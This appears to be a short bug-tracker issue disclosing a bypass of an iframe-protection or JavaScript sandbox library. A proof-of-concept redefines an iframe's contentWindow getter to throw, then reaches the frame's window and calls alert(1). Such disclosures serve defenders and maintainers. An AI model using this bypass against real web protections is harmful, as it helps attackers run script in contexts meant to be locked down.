Bypass using by making contentWindow to throw an exception #98
Description
var f = document.createElement('iframe');
Object.defineProperty(f, 'contentWindow', {
get: function() {
throw new Error('pwnd');
}
});
try {
document.body.appendChild(f);
} catch (e) {}
frames[0].alert(1);
This is what I mean here, but actually exploits the chromium bug workaround this time :)